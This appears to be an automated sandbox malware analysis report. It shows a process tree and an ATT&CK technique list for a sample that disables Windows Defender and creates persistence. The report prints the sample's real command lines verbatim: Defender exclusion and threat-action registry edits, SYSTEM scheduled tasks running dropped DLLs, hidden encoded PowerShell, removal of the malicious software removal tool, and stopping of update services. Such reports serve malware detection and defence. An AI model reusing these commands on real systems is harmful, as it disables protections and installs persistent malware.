  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\xehfnPLREkljOutgp" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:2768
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\xehfnPLREkljOutgp" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:432
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MlEwZvbgpCGVQFZq" /t REG_DWORD /d 0 /reg:32
      4⤵
      Windows security bypass
      PID:1980
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MlEwZvbgpCGVQFZq" /t REG_DWORD /d 0 /reg:64
      4⤵
      Windows security bypass
      PID:2984
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZzJFgnUaheUn" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2484
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\ZzJFgnUaheUn" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:848
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\efSuucJNImPU2" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1648
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\efSuucJNImPU2" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2696
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gWMsjtYByovYC" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2228
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gWMsjtYByovYC" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:1844
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qfQXRdAKnlsTdhGWuTR" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2192
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\qfQXRdAKnlsTdhGWuTR" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2936
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\voItHROCU" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:3064
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\voItHROCU" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2724
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\WMmUhsrLoeNTYuVB" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2572
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\ProgramData\WMmUhsrLoeNTYuVB" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2260
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2552
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2240
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\xehfnPLREkljOutgp" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:1964
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Users\Admin\AppData\Local\Temp\xehfnPLREkljOutgp" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2356
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MlEwZvbgpCGVQFZq" /t REG_DWORD /d 0 /reg:32
      4⤵
      PID:2036
  - - C:\Windows\SysWOW64\reg.exe
      "C:\Windows\System32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Windows\Temp\MlEwZvbgpCGVQFZq" /t REG_DWORD /d 0 /reg:64
      4⤵
      PID:2904
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "IzaEPSfYdSgyWPrQW" /SC once /ST 12:43:27 /RU "SYSTEM" /TR "\"C:\Windows\Temp\MlEwZvbgpCGVQFZq\AweeICIOYFgLAjZ\eKfotrz.exe\" rc /hdBndidwX 385118 /S" /V1 /F
    3⤵
    - Drops file in Windows directory
    - Creates scheduled task(s)
    PID:1408
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "IzaEPSfYdSgyWPrQW"
    3⤵
    PID:1520
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 2332 -s 692
    3⤵
    - Loads dropped DLL
    - Program crash
    PID:1200
- C:\Windows\Temp\MlEwZvbgpCGVQFZq\AweeICIOYFgLAjZ\eKfotrz.exe
  C:\Windows\Temp\MlEwZvbgpCGVQFZq\AweeICIOYFgLAjZ\eKfotrz.exe rc /hdBndidwX 385118 /S
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Drops Chrome extension
  - Drops file in System32 directory
  - Drops file in Program Files directory
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:1252
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
    3⤵
    PID:1344
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m notepad.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
      4⤵
      PID:2492
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        5⤵
        
        PID:2144
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
        6⤵
        
        PID:844
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
      4⤵
      PID:2524
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        5⤵
        
        PID:772
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
        6⤵
        
        PID:532
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m help.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
      4⤵
      PID:1940
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        5⤵
        
        PID:1644
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
        6⤵
        
        PID:2860
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m ping.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
      4⤵
      PID:1784
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        5⤵
        
        PID:2800
      - \??\c:\windows\SysWOW64\reg.exe
        
        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
        6⤵
        
        PID:2984
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
      4⤵
      PID:684
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
        5⤵
        
        PID:2580
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell start-process -WindowStyle Hidden gpupdate.exe /force
        6⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Modifies data under HKEY_USERS
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2188
        
        C:\Windows\SysWOW64\gpupdate.exe
        
        "C:\Windows\system32\gpupdate.exe" /force
        7⤵
        
        PID:2168
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "bjPRdWxZxSSObMFEvg"
    3⤵
    PID:1844
- - C:\Windows\SysWOW64\cmd.exe
    "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" & forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True" &
    3⤵
    PID:3064
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
      4⤵
      PID:2068
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        5⤵
        
        PID:1600
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        6⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2116
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
        7⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:2332
  - - C:\Windows\SysWOW64\forfiles.exe
      forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True"
      4⤵
      PID:1648
    - - C:\Windows\SysWOW64\cmd.exe
        
        /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
        5⤵
        
        PID:684
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
        6⤵
        Command and Scripting Interpreter: PowerShell
        Drops file in System32 directory
        Suspicious behavior: EnumeratesProcesses
        Suspicious use of AdjustPrivilegeToken
        
        PID:2484
        
        C:\Windows\SysWOW64\Wbem\WMIC.exe
        
        "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=wsf Force=True
        7⤵
        Suspicious use of AdjustPrivilegeToken
        
        PID:1360
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\voItHROCU\WercCi.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "HsFIJVFBpaOiSlL" /V1 /F
    3⤵
    - Drops file in Windows directory
    - Creates scheduled task(s)
    PID:2656
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "HsFIJVFBpaOiSlL2" /F /xml "C:\Program Files (x86)\voItHROCU\oCZcyXc.xml" /RU "SYSTEM"
    3⤵
    - Creates scheduled task(s)
    PID:2036
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /END /TN "HsFIJVFBpaOiSlL"
    3⤵
    PID:2688
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "HsFIJVFBpaOiSlL"
    3⤵
    PID:608
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "WyOrfcWfrBamuS" /F /xml "C:\Program Files (x86)\efSuucJNImPU2\vqbYjOO.xml" /RU "SYSTEM"
    3⤵
    - Creates scheduled task(s)
    PID:2856
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "kiXxoUJRQWRVF2" /F /xml "C:\ProgramData\WMmUhsrLoeNTYuVB\BdFwVOC.xml" /RU "SYSTEM"
    3⤵
    - Creates scheduled task(s)
    PID:2444
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "BLlTsguLxEDntNTLH2" /F /xml "C:\Program Files (x86)\qfQXRdAKnlsTdhGWuTR\CYNtDAa.xml" /RU "SYSTEM"
    3⤵
    - Creates scheduled task(s)
    PID:1544
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "BtVMzXpXWmtubExaWQo2" /F /xml "C:\Program Files (x86)\gWMsjtYByovYC\zWZEdxk.xml" /RU "SYSTEM"
    3⤵
    - Creates scheduled task(s)
    PID:1188
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /CREATE /TN "ceuxZEzDPWMxlYwWu" /SC once /ST 06:14:20 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\MlEwZvbgpCGVQFZq\NDFLPTka\unJPDFW.dll\",#1 /Isdidzg 385118" /V1 /F
    3⤵
    - Drops file in Windows directory
    - Creates scheduled task(s)
    PID:1648
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /run /I /tn "ceuxZEzDPWMxlYwWu"
    3⤵
    PID:956
- - C:\Windows\SysWOW64\schtasks.exe
    schtasks /DELETE /F /TN "IzaEPSfYdSgyWPrQW"
    3⤵
    PID:1408
- - C:\Windows\SysWOW64\WerFault.exe
    C:\Windows\SysWOW64\WerFault.exe -u -p 1252 -s 820
    3⤵
    - Program crash
    PID:2264
- C:\Windows\system32\rundll32.EXE
  C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\MlEwZvbgpCGVQFZq\NDFLPTka\unJPDFW.dll",#1 /Isdidzg 385118
  2⤵
  PID:2996
- - C:\Windows\SysWOW64\rundll32.exe
    C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\MlEwZvbgpCGVQFZq\NDFLPTka\unJPDFW.dll",#1 /Isdidzg 385118
    3⤵
    - Blocklisted process makes network request
    - Checks BIOS information in registry
    - Loads dropped DLL
    - Drops file in System32 directory
    - Enumerates system info in registry
    - Modifies data under HKEY_USERS
    PID:3012
  - - C:\Windows\SysWOW64\schtasks.exe
      schtasks /DELETE /F /TN "ceuxZEzDPWMxlYwWu"
      4⤵
      PID:2748

C:\Windows\system32\taskeng.exe
taskeng.exe {77F115B5-F9BF-420A-8942-14C644204656} S-1-5-21-330940541-141609230-1670313778-1000:KXIPPCKF\Admin:Interactive:[1]
1⤵
PID:2312
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1104
- - C:\Windows\system32\gpupdate.exe
    "C:\Windows\system32\gpupdate.exe" /force
    3⤵
    PID:432
- C:\Users\Admin\AppData\Local\Temp\1000021001\NewR.exe
  C:\Users\Admin\AppData\Local\Temp\1000021001\NewR.exe
  2⤵
  - Executes dropped EXE
  PID:1628
- C:\Users\Admin\AppData\Local\Temp\1000021001\NewR.exe
  C:\Users\Admin\AppData\Local\Temp\1000021001\NewR.exe
  2⤵
  - Executes dropped EXE
  PID:2696

C:\Windows\system32\gpscript.exe
gpscript.exe /RefreshSystemParam
1⤵
PID:2536

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "206008068842273681019451679891383241509625876203-1290935161118142053479355370"
1⤵
PID:804

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "196418973-787676710-196525475717017288657112988381034619333-561681179-316313217"
1⤵
PID:1704

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "771824492450891420342744751-5486615451780915604-1278505750595252130-472449284"
1⤵
PID:3052

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1429680680-17182443711508062415-13972106711161439393-1242758765410002219135429480"
1⤵
PID:2660

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-306036860894971555968315097864289163968313556754611209-1904493586-84139505"
1⤵
PID:2608

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-467245243-9374397711956447035-1468764268-1097237365-140835538617496279511986293282"
1⤵
PID:1336

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-2068728567-158193716-185916006-3611211402036837527951662413514555254-1189421263"
1⤵
PID:792

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1897650357-1172739207-1070910296840253665-1411970308-131462773914262749811179451879"
1⤵
PID:2240

C:\ProgramData\wikombernizc\reakuqnanrkn.exe
C:\ProgramData\wikombernizc\reakuqnanrkn.exe
1⤵
- Executes dropped EXE
- Drops file in System32 directory
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
PID:2580
- C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramData) -ExclusionExtension '.exe' -Force
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Drops file in System32 directory
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2736
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c wusa /uninstall /kb:890830 /quiet /norestart
  2⤵
  PID:2056
- - C:\Windows\system32\wusa.exe
    wusa /uninstall /kb:890830 /quiet /norestart
    3⤵
    PID:1768
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop UsoSvc
  2⤵
  - Launches sc.exe
  PID:2836
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop WaaSMedicSvc
  2⤵
  - Launches sc.exe
  PID:2536
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop wuauserv
  2⤵
  - Launches sc.exe
  PID:1372
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop bits
  2⤵
  - Launches sc.exe
  PID:936
- C:\Windows\system32\sc.exe
  C:\Windows\system32\sc.exe stop dosvc
  2⤵
  - Launches sc.exe
  PID:1864
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0
  2⤵
  PID:1336
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -hibernate-timeout-dc 0
  2⤵
  PID:2636
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-ac 0
  2⤵
  PID:2632
- C:\Windows\system32\powercfg.exe
  C:\Windows\system32\powercfg.exe /x -standby-timeout-dc 0
  2⤵
  PID:2552
- C:\Windows\system32\conhost.exe
  C:\Windows\system32\conhost.exe
  2⤵
  PID:2260
- C:\Windows\explorer.exe
  explorer.exe
  2⤵
  - Modifies data under HKEY_USERS
  - Suspicious behavior: EnumeratesProcesses
  PID:1364

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "1293376881-923550853-1964294879-4142339601237808265784672163-2896850231301033873"
1⤵
PID:2208

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-1433754971-68370766021439518077274650-1702806205327733097-1613320957-1053332175"
1⤵
PID:2356

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "-25616920521203797741104339275-576186153-111612996-1874243441-7798912651416506409"
1⤵
PID:432

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "160228067-522042314646046260117067417815763673107630604251840360304-1905412558"
1⤵
PID:532

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "13958300451458131771438943168966661192-252552355-277948965659220320-2131433752"
1⤵
PID:2800

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{F9717507-6651-4EDB-BFF7-AE615179BCCF}
1⤵
PID:2696

C:\Windows\system32\conhost.exe
\??\C:\Windows\system32\conhost.exe "13414635454767946471774590781467556206-1408628755-650884815-12201882421296621729"
1⤵
PID:684

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

System Services

T1569

Service Execution

T1569.002

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Pre-OS Boot

T1542

Bootkit

T1542.003

Scheduled Task/Job

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

Defense Evasion

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Modify Registry

Pre-OS Boot

T1542

Bootkit

T1542.003

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Virtualization/Sandbox Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

System Information Discovery

Virtualization/Sandbox Evasion